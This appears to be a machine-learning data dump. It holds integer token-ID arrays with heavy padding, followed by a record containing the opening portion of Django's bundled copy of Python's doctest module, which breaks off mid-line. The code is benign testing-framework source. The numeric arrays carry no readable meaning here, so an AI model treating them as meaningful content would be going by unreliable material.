14, 3315, 323, 8, 1531, 12, 5297, 2889, 9, 819, 327, 15524, 314, 943, 570, 436, 372, 14, 2136, 3984, 4224, 14, 523, 943, 63, 493, 14, 1600, 342, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 1898, 334, 67, 9, 7760, 710, 12051, 6642, 14, 2900, 4481, 4644, 14, 199, 3, 3645, 402, 642, 1350, 1233, 365, 10413, 701, 282, 6289, 13, 2487, 4190, 626, 883, 506, 199, 3, 1911, 315, 314, 5113, 570, 14, 199, 199, 624, 3110, 367, 17616, 4039, 4212, 1846, 6497, 5452, 370, 2248, 315, 282, 7042, 14, 199, 199, 2398, 30140, 26, 523, 413, 14, 710, 1414, 63, 604, 2559, 687, 7249, 15, 2124, 63, 5785, 523, 499, 14, 13083, 314, 15292, 699, 2979, 503, 24584, 3329, 334, 269, 3865, 9, 199, 199, 31456, 26, 523, 413, 14, 6516, 314, 15292, 699, 2979, 12, 503, 1240, 295, 458, 10922, 708, 641, 282, 876, 11730, 3366, 523, 499, 14, 2654, 282, 570, 2797, 298, 9580, 1606, 912, 521, 3435, 32, 3098, 14, 957, 2, 370, 1362, 314, 849, 24584, 4690, 2082, 1334, 5478, 12, 3035, 1362, 314, 931, 370, 314, 24584, 3329, 1738, 199, 199, 27736, 543, 314, 1414, 1004, 2368, 465, 22751, 4453, 199, 1589, 1414, 1004, 14, 199, 624, 199, 199, 646, 1414, 63, 604, 199, 646, 4747, 708, 1412, 199, 199, 504, 19016, 492, 4353, 316, 199, 504, 3778, 492, 7042, 63, 20627, 199, 199, 318, 2790, 3110, 8, 15612, 304, 523, 408, 9971, 83, 314, 1414, 436, 2368, 1901, 282, 1414, 1004, 367, 6057, 1041, 523, 2088, 275, 21206, 14, 1123, 3110, 8, 272, 2097, 9580, 2255, 272, 298, 1352, 305, 1482, 4212, 1846, 282, 6779, 402, 10867, 6181, 370, 2248, 315, 1373, 503, 1655, 23776, 4765, 272, 488, 12, 272, 17009, 18611, 9, 819, 7042, 63, 20627, 14, 8555, 8666, 16926, 8, 1760, 9, 523, 2088, 14, 1123, 5201, 8, 272, 16984, 793, 401, 4320, 12804, 2255, 298, 1173, 370, 2218, 1072, 401, 730, 628, 875, 401, 1415, 29, 549, 9, 421, 199, 318, 17009, 18611, 8, 1531, 304, 523, 408, 4858, 3862, 314, 22933, 1414, 1041, 819, 347, 5297, 2889, 8, 633, 12, 6499, 12, 336, 977, 12, 754, 304, 272, 408, 3534, 314, 754, 402, 314, 19249, 370, 314, 943, 570, 1041, 272, 943, 63, 493, 14, 952, 8, 1099, 9, 819, 943, 63, 493, 275, 1551, 8, 1531, 905, 306, 12804, 2255, 298, 87, 531, 819, 7042, 63, 20627, 14, 3315, 323, 8, 1531, 12, 5297, 2889, 9, 819, 327, 15524, 314, 943, 570, 436, 372, 14, 2136, 3984, 4224, 14, 523, 943, 63, 493, 14, 1600, 342, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 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/intellij-community
python/lib/Lib/site-packages/django/test/_doctest.py
167
100621
# This is a slightly modified version of the doctest.py that shipped with Python 2.4 # It incorporates changes that have been submitted to the Python ticket tracker # as ticket #1521051. These changes allow for a DoctestRunner and Doctest base # class to be specified when constructing a DoctestSuite. # Module doctest. # Released to the public domain 16-Jan-2001, by Tim Peters (tim@python.org). # Major enhancements and refactoring by: # Jim Fulton # Edward Loper # Provided as-is; use at your own risk; no warranty; no promises; enjoy! r"""Module doctest -- a framework for running examples in docstrings. In simplest use, end each module M to be tested with: def _test(): import doctest doctest.testmod() if __name__ == "__main__": _test() Then running the module as a script will cause the examples in the docstrings to get executed and verified: python M.py This won't display anything unless an example fails, in which case the failing example(s) and the cause(s) of the failure(s) are printed to stdout (why not stderr? because stderr is a lame hack <0.2 wink>), and the final line of output is "Test failed.". Run it with the -v switch instead: python M.py -v and a detailed report of all examples tried is printed to stdout, along with assorted summaries at the end. You can force verbose mode by passing "verbose=True" to testmod, or prohibit it by passing "verbose=False". In either of those cases, sys.argv is not examined by testmod. There are a variety of other ways to run doctests, including integration with the unittest framework, and support for running non-Python text files containing doctests. There are also many ways to override parts of doctest's default behaviors. See the Library Reference Manual for details. """ __docformat__ = 'reStructuredText en' __all__ = [ # 0, Option Flags 'register_optionflag', 'DONT_ACCEPT_TRUE_FOR_1', 'DONT_ACCEPT_BLANKLINE', 'NORMALIZE_WHITESPACE', 'ELLIPSIS', 'IGNORE_EXCEPTION_DETAIL', 'COMPARISON_FLAGS', 'REPORT_UDIFF', 'REPORT_CDIFF', 'REPORT_NDIFF', 'REPORT_ONLY_FIRST_FAILURE', 'REPORTING_FLAGS', # 1. Utility Functions 'is_private', # 2. Example & DocTest 'Example', 'DocTest', # 3. Doctest Parser 'DocTestParser', # 4. Doctest Finder 'DocTestFinder', # 5. Doctest Runner 'DocTestRunner', 'OutputChecker', 'DocTestFailure', 'UnexpectedException', 'DebugRunner', # 6. Test Functions 'testmod', 'testfile', 'run_docstring_examples', # 7. Tester 'Tester', # 8. Unittest Support 'DocTestSuite', 'DocFileSuite', 'set_unittest_reportflags', # 9. Debugging Support 'script_from_examples', 'testsource', 'debug_src', 'debug', ] import __future__ import sys, traceback, inspect, linecache, os, re import unittest, difflib, pdb, tempfile import warnings from StringIO import StringIO if sys.platform.startswith('java'): # On Jython, isclass() reports some modules as classes. Patch it. def patch_isclass(isclass): def patched_isclass(obj): return isclass(obj) and hasattr(obj, '__module__') return patched_isclass inspect.isclass = patch_isclass(inspect.isclass) # Don't whine about the deprecated is_private function in this # module's tests. warnings.filterwarnings("ignore", "is_private", DeprecationWarning, __name__, 0) # There are 4 basic classes: # - Example: a <source, want> pair, plus an intra-docstring line number. # - DocTest: a collection of examples, parsed from a docstring, plus # info about where the docstring came from (name, filename, lineno). # - DocTestFinder: extracts DocTests from a given object's docstring and # its contained objects' docstrings. # - DocTestRunner: runs DocTest cases, and accumulates statistics. # # So the basic picture is: # # list of: # +------+ +---------+ +-------+ # |object| --DocTestFinder-> | DocTest | --DocTestRunner-> |results| # +------+ +---------+ +-------+ # | Example | # | ... | # | Example | # +---------+ # Option constants. OPTIONFLAGS_BY_NAME = {} def register_optionflag(name): flag = 1 << len(OPTIONFLAGS_BY_NAME) OPTIONFLAGS_BY_NAME[name] = flag return flag DONT_ACCEPT_TRUE_FOR_1 = register_optionflag('DONT_ACCEPT_TRUE_FOR_1') DONT_ACCEPT_BLANKLINE = register_optionflag('DONT_ACCEPT_BLANKLINE') NORMALIZE_WHITESPACE = register_optionflag('NORMALIZE_WHITESPACE') ELLIPSIS = register_optionflag('ELLIPSIS') IGNORE_EXCEPTION_DETAIL = register_optionflag('IGNORE_EXCEPTION_DETAIL') COMPARISON_FLAGS = (DONT_ACCEPT_TRUE_FOR_1 | DONT_ACCEPT_BLANKLINE | NORMALIZE_WHITESPACE | ELLIPSIS | IGNORE_EXCEPTION_DETAIL) REPORT_UDIFF = register_optionflag('REPORT_UDIFF') REPORT_CDIFF = register_optionflag('REPORT_CDIFF') REPORT_NDIFF = register_optionflag('REPORT_NDIFF') REPORT_ONLY_FIRST_FAILURE = register_optionflag('REPORT_ONLY_FIRST_FAILURE') REPORTING_FLAGS = (REPORT_UDIFF | REPORT_CDIFF | REPORT_NDIFF | REPORT_ONLY_FIRST_FAILURE) # Special string markers for use in `want` strings: BLANKLINE_MARKER = '<BLANKLINE>' ELLIPSIS_MARKER = '...' ###################################################################### ## Table of Contents ###################################################################### # 1. Utility Functions # 2. Example & DocTest -- store test cases # 3. DocTest Parser -- extracts examples from strings # 4. DocTest Finder -- extracts test cases from objects # 5. DocTest Runner -- runs test cases # 6. Test Functions -- convenient wrappers for testing # 7. Tester Class -- for backwards compatibility # 8. Unittest Support # 9. Debugging Support # 10. Example Usage ###################################################################### ## 1. Utility Functions ###################################################################### def is_private(prefix, base): """prefix, base -> true iff name prefix + "." + base is "private". Prefix may be an empty string, and base does not contain a period. Prefix is ignored (although functions you write conforming to this protocol may make use of it). Return true iff base begins with an (at least one) underscore, but does not both begin and end with (at least) two underscores. >>> is_private("a.b", "my_func") False >>> is_private("____", "_my_func") True >>> is_private("someclass", "__init__") False >>> is_private("sometypo", "__init_") True >>> is_private("x.y.z", "_") True >>> is_private("_x.y.z", "__") False >>> is_private("", "") # senseless but consistent False """ warnings.warn("is_private is deprecated; it wasn't useful; " "examine DocTestFinder.find() lists instead", DeprecationWarning, stacklevel=2) return base[:1] == "_" and not base[:2] == "__" == base[-2:] def _extract_future_flags(globs): """ Return the compiler-flags associated with the future features that have been imported into the given namespace (globs). """ flags = 0 for fname in __future__.all_feature_names: feature = globs.get(fname, None) if feature is getattr(__future__, fname): flags |= feature.compiler_flag return flags def _normalize_module(module, depth=2): """ Return the module specified by `module`. In particular: - If `module` is a module, then return module. - If `module` is a string, then import and return the module with that name. - If `module` is None, then return the calling module. The calling module is assumed to be the module of the stack frame at the given depth in the call stack. """ if inspect.ismodule(module): return module elif isinstance(module, (str, unicode)): return __import__(module, globals(), locals(), ["*"]) elif module is None: return sys.modules[sys._getframe(depth).f_globals['__name__']] else: raise TypeError("Expected a module, string, or None") def _indent(s, indent=4): """ Add the given number of space characters to the beginning every non-blank line in `s`, and return the result. """ # This regexp matches the start of non-blank lines: return re.sub('(?m)^(?!$)', indent*' ', s) def _exception_traceback(exc_info): """ Return a string containing a traceback message for the given exc_info tuple (as returned by sys.exc_info()). """ # Get a traceback message. excout = StringIO() exc_type, exc_val, exc_tb = exc_info traceback.print_exception(exc_type, exc_val, exc_tb, file=excout) return excout.getvalue() # Override some StringIO methods. class _SpoofOut(StringIO): def getvalue(self): result = StringIO.getvalue(self) # If anything at all was written, make sure there's a trailing # newline. There's no way for the expected output to indicate # that a trailing newline is missing. if result and not result.endswith("\n"): result += "\n" # Prevent softspace from screwing up the next test case, in # case they used print with a trailing comma in an example. if hasattr(self, "softspace"): del self.softspace return result def truncate(self, size=None): StringIO.truncate(self, size) if hasattr(self, "softspace"): del self.softspace # Worst-case linear-time ellipsis matching. def _ellipsis_match(want, got): """ Essentially the only subtle case: >>> _ellipsis_match('aa...aa', 'aaa') False """ if ELLIPSIS_MARKER not in want: return want == got # Find "the real" strings. ws = want.split(ELLIPSIS_MARKER) assert len(ws) >= 2 # Deal with exact matches possibly needed at one or both ends. startpos, endpos = 0, len(got) w = ws[0] if w: # starts with exact match if got.startswith(w): startpos = len(w) del ws[0] else: return False w = ws[-1] if w: # ends with exact match if got.endswith(w): endpos -= len(w) del ws[-1] else: return False if startpos > endpos: # Exact end matches required more characters than we have, as in # _ellipsis_match('aa...aa', 'aaa') return False # For the rest, we only need to find the leftmost non-overlapping # match for each piece. If there's no overall match that way alone, # there's no overall match period. for w in ws: # w may be '' at times, if there are consecutive ellipses, or # due to an ellipsis at the start or end of `want`. That's OK. # Search for an empty string succeeds, and doesn't change startpos. startpos = got.find(w, startpos, endpos) if startpos < 0: return False startpos += len(w) return True def _comment_line(line): "Return a commented form of the given line" line = line.rstrip() if line: return '# '+line else: return '#' class _OutputRedirectingPdb(pdb.Pdb): """ A specialized version of the python debugger that redirects stdout to a given stream when interacting with the user. Stdout is *not* redirected when traced code is executed. """ def __init__(self, out): self.__out = out self.__debugger_used = False pdb.Pdb.__init__(self) def set_trace(self): self.__debugger_used = True pdb.Pdb.set_trace(self) def set_continue(self): # Calling set_continue unconditionally would break unit test coverage # reporting, as Bdb.set_continue calls sys.settrace(None). if self.__debugger_used: pdb.Pdb.set_continue(self) def trace_dispatch(self, *args): # Redirect stdout to the given stream. save_stdout = sys.stdout sys.stdout = self.__out # Call Pdb's trace dispatch method. try: return pdb.Pdb.trace_dispatch(self, *args) finally: sys.stdout = save_stdout # [XX] Normalize with respect to os.path.pardir? def _module_relative_path(module, path): if not inspect.ismodule(module): raise TypeError, 'Expected a module: %r' % module if path.startswith('/'): raise ValueError, 'Module-relative files may not have absolute paths' # Find the base directory for the path. if hasattr(module, '__file__'): # A normal module/package basedir = os.path.split(module.__file__)[0] elif module.__name__ == '__main__': # An interactive session. if len(sys.argv)>0 and sys.argv[0] != '': basedir = os.path.split(sys.argv[0])[0] else: basedir = os.curdir else: # A module w/o __file__ (this includes builtins) raise ValueError("Can't resolve paths relative to the module " + module + " (it has no __file__)") # Combine the base directory and the path. return os.path.join(basedir, *(path.split('/'))) ###################################################################### ## 2. Example & DocTest ###################################################################### ## - An "example" is a <source, want> pair, where "source" is a ## fragment of source code, and "want" is the expected output for ## "source." The Example class also includes information about ## where the example was extracted from. ## ## - A "doctest" is a collection of examples, typically extracted from ## a string (such as an object's docstring). The DocTest class also ## includes information about where the string was extracted from. class Example: """ A single doctest example, consisting of source code and expected output. `Example` defines the following attributes: - source: A single Python statement, always ending with a newline. The constructor adds a newline if needed. - want: The expected output from running the source code (either from stdout, or a traceback in case of exception). `want` ends with a newline unless it's empty, in which case it's an empty string. The constructor adds a newline if needed. - exc_msg: The exception message generated by the example, if the example is expected to generate an exception; or `None` if it is not expected to generate an exception. This exception message is compared against the return value of `traceback.format_exception_only()`. `exc_msg` ends with a newline unless it's `None`. The constructor adds a newline if needed. - lineno: The line number within the DocTest string containing this Example where the Example begins. This line number is zero-based, with respect to the beginning of the DocTest. - indent: The example's indentation in the DocTest string. I.e., the number of space characters that preceed the example's first prompt. - options: A dictionary mapping from option flags to True or False, which is used to override default options for this example. Any option flags not contained in this dictionary are left at their default value (as specified by the DocTestRunner's optionflags). By default, no options are set. """ def __init__(self, source, want, exc_msg=None, lineno=0, indent=0, options=None): # Normalize inputs. if not source.endswith('\n'): source += '\n' if want and not want.endswith('\n'): want += '\n' if exc_msg is not None and not exc_msg.endswith('\n'): exc_msg += '\n' # Store properties. self.source = source self.want = want self.lineno = lineno self.indent = indent if options is None: options = {} self.options = options self.exc_msg = exc_msg class DocTest: """ A collection of doctest examples that should be run in a single namespace. Each `DocTest` defines the following attributes: - examples: the list of examples. - globs: The namespace (aka globals) that the examples should be run in. - name: A name identifying the DocTest (typically, the name of the object whose docstring this DocTest was extracted from). - filename: The name of the file that this DocTest was extracted from, or `None` if the filename is unknown. - lineno: The line number within filename where this DocTest begins, or `None` if the line number is unavailable. This line number is zero-based, with respect to the beginning of the file. - docstring: The string that the examples were extracted from, or `None` if the string is unavailable. """ def __init__(self, examples, globs, name, filename, lineno, docstring): """ Create a new DocTest containing the given examples. The DocTest's globals are initialized with a copy of `globs`. """ assert not isinstance(examples, basestring), \ "DocTest no longer accepts str; use DocTestParser instead" self.examples = examples self.docstring = docstring self.globs = globs.copy() self.name = name self.filename = filename self.lineno = lineno def __repr__(self): if len(self.examples) == 0: examples = 'no examples' elif len(self.examples) == 1: examples = '1 example' else: examples = '%d examples' % len(self.examples) return ('<DocTest %s from %s:%s (%s)>' % (self.name, self.filename, self.lineno, examples)) # This lets us sort tests by name: def __cmp__(self, other): if not isinstance(other, DocTest): return -1 return cmp((self.name, self.filename, self.lineno, id(self)), (other.name, other.filename, other.lineno, id(other))) ###################################################################### ## 3. DocTestParser ###################################################################### class DocTestParser: """ A class used to parse strings containing doctest examples. """ # This regular expression is used to find doctest examples in a # string. It defines three groups: `source` is the source code # (including leading indentation and prompts); `indent` is the # indentation of the first (PS1) line of the source code; and # `want` is the expected output (including leading indentation). _EXAMPLE_RE = re.compile(r''' # Source consists of a PS1 line followed by zero or more PS2 lines. (?P<source> (?:^(?P<indent> [ ]*) >>> .*) # PS1 line (?:\n [ ]* \.\.\. .*)*) # PS2 lines \n? # Want consists of any non-blank lines that do not start with PS1. (?P<want> (?:(?![ ]*$) # Not a blank line (?![ ]*>>>) # Not a line starting with PS1 .*$\n? # But any other line )*) ''', re.MULTILINE | re.VERBOSE) # A regular expression for handling `want` strings that contain # expected exceptions. It divides `want` into three pieces: # - the traceback header line (`hdr`) # - the traceback stack (`stack`) # - the exception message (`msg`), as generated by # traceback.format_exception_only() # `msg` may have multiple lines. We assume/require that the # exception message is the first non-indented line starting with a word # character following the traceback header line. _EXCEPTION_RE = re.compile(r""" # Grab the traceback header. Different versions of Python have # said different things on the first traceback line. ^(?P<hdr> Traceback\ \( (?: most\ recent\ call\ last | innermost\ last ) \) : ) \s* $ # toss trailing whitespace on the header. (?P<stack> .*?) # don't blink: absorb stuff until... ^ (?P<msg> \w+ .*) # a line *starts* with alphanum. """, re.VERBOSE | re.MULTILINE | re.DOTALL) # A callable returning a true value iff its argument is a blank line # or contains a single comment. _IS_BLANK_OR_COMMENT = re.compile(r'^[ ]*(#.*)?$').match def parse(self, string, name='<string>'): """ Divide the given string into examples and intervening text, and return them as a list of alternating Examples and strings. Line numbers for the Examples are 0-based. The optional argument `name` is a name identifying this string, and is only used for error messages. """ string = string.expandtabs() # If all lines begin with the same indentation, then strip it. min_indent = self._min_indent(string) if min_indent > 0: string = '\n'.join([l[min_indent:] for l in string.split('\n')]) output = [] charno, lineno = 0, 0 # Find all doctest examples in the string: for m in self._EXAMPLE_RE.finditer(string): # Add the pre-example text to `output`. output.append(string[charno:m.start()]) # Update lineno (lines before this example) lineno += string.count('\n', charno, m.start()) # Extract info from the regexp match. (source, options, want, exc_msg) = \ self._parse_example(m, name, lineno) # Create an Example, and add it to the list. if not self._IS_BLANK_OR_COMMENT(source): output.append( Example(source, want, exc_msg, lineno=lineno, indent=min_indent+len(m.group('indent')), options=options) ) # Update lineno (lines inside this example) lineno += string.count('\n', m.start(), m.end()) # Update charno. charno = m.end() # Add any remaining post-example text to `output`. output.append(string[charno:]) return output def get_doctest(self, string, globs, name, filename, lineno): """ Extract all doctest examples from the given string, and collect them into a `DocTest` object. `globs`, `name`, `filename`, and `lineno` are attributes for the new `DocTest` object. See the documentation for `DocTest` for more information. """ return DocTest(self.get_examples(string, name), globs, name, filename, lineno, string) def get_examples(self, string, name='<string>'): """ Extract all doctest examples from the given string, and return them as a list of `Example` objects. Line numbers are 0-based, because it's most common in doctests that nothing interesting appears on the same line as opening triple-quote, and so the first interesting line is called \"line 1\" then. The optional argument `name` is a name identifying this string, and is only used for error messages. """ return [x for x in self.parse(string, name) if isinstance(x, Example)] def _parse_example(self, m, name, lineno): """ Given a regular expression match from `_EXAMPLE_RE` (`m`), return a pair `(source, want)`, where `source` is the matched example's source code (with prompts and indentation stripped); and `want` is the example's expected output (with indentation stripped). `name` is the string's name, and `lineno` is the line number where the example starts; both are used for error messages. """ # Get the example's indentation level. indent = len(m.group('indent')) # Divide source into lines; check that they're properly # indented; and then strip their indentation & prompts. source_lines = m.group('source').split('\n') self._check_prompt_blank(source_lines, indent, name, lineno) self._check_prefix(source_lines[1:], ' '*indent + '.', name, lineno) source = '\n'.join([sl[indent+4:] for sl in source_lines]) # Divide want into lines; check that it's properly indented; and # then strip the indentation. Spaces before the last newline should # be preserved, so plain rstrip() isn't good enough. want = m.group('want') want_lines = want.split('\n') if len(want_lines) > 1 and re.match(r' *$', want_lines[-1]): del want_lines[-1] # forget final newline & spaces after it self._check_prefix(want_lines, ' '*indent, name, lineno + len(source_lines)) want = '\n'.join([wl[indent:] for wl in want_lines]) # If `want` contains a traceback message, then extract it. m = self._EXCEPTION_RE.match(want) if m: exc_msg = m.group('msg') else: exc_msg = None # Extract options from the source. options = self._find_options(source, name, lineno) return source, options, want, exc_msg # This regular expression looks for option directives in the # source code of an example. Option directives are comments # starting with "doctest:". Warning: this may give false # positives for string-literals that contain the string # "#doctest:". Eliminating these false positives would require # actually parsing the string; but we limit them by ignoring any # line containing "#doctest:" that is *followed* by a quote mark. _OPTION_DIRECTIVE_RE = re.compile(r'#\s*doctest:\s*([^\n\'"]*)$', re.MULTILINE) def _find_options(self, source, name, lineno): """ Return a dictionary containing option overrides extracted from option directives in the given source string. `name` is the string's name, and `lineno` is the line number where the example starts; both are used for error messages. """ options = {} # (note: with the current regexp, this will match at most once:) for m in self._OPTION_DIRECTIVE_RE.finditer(source): option_strings = m.group(1).replace(',', 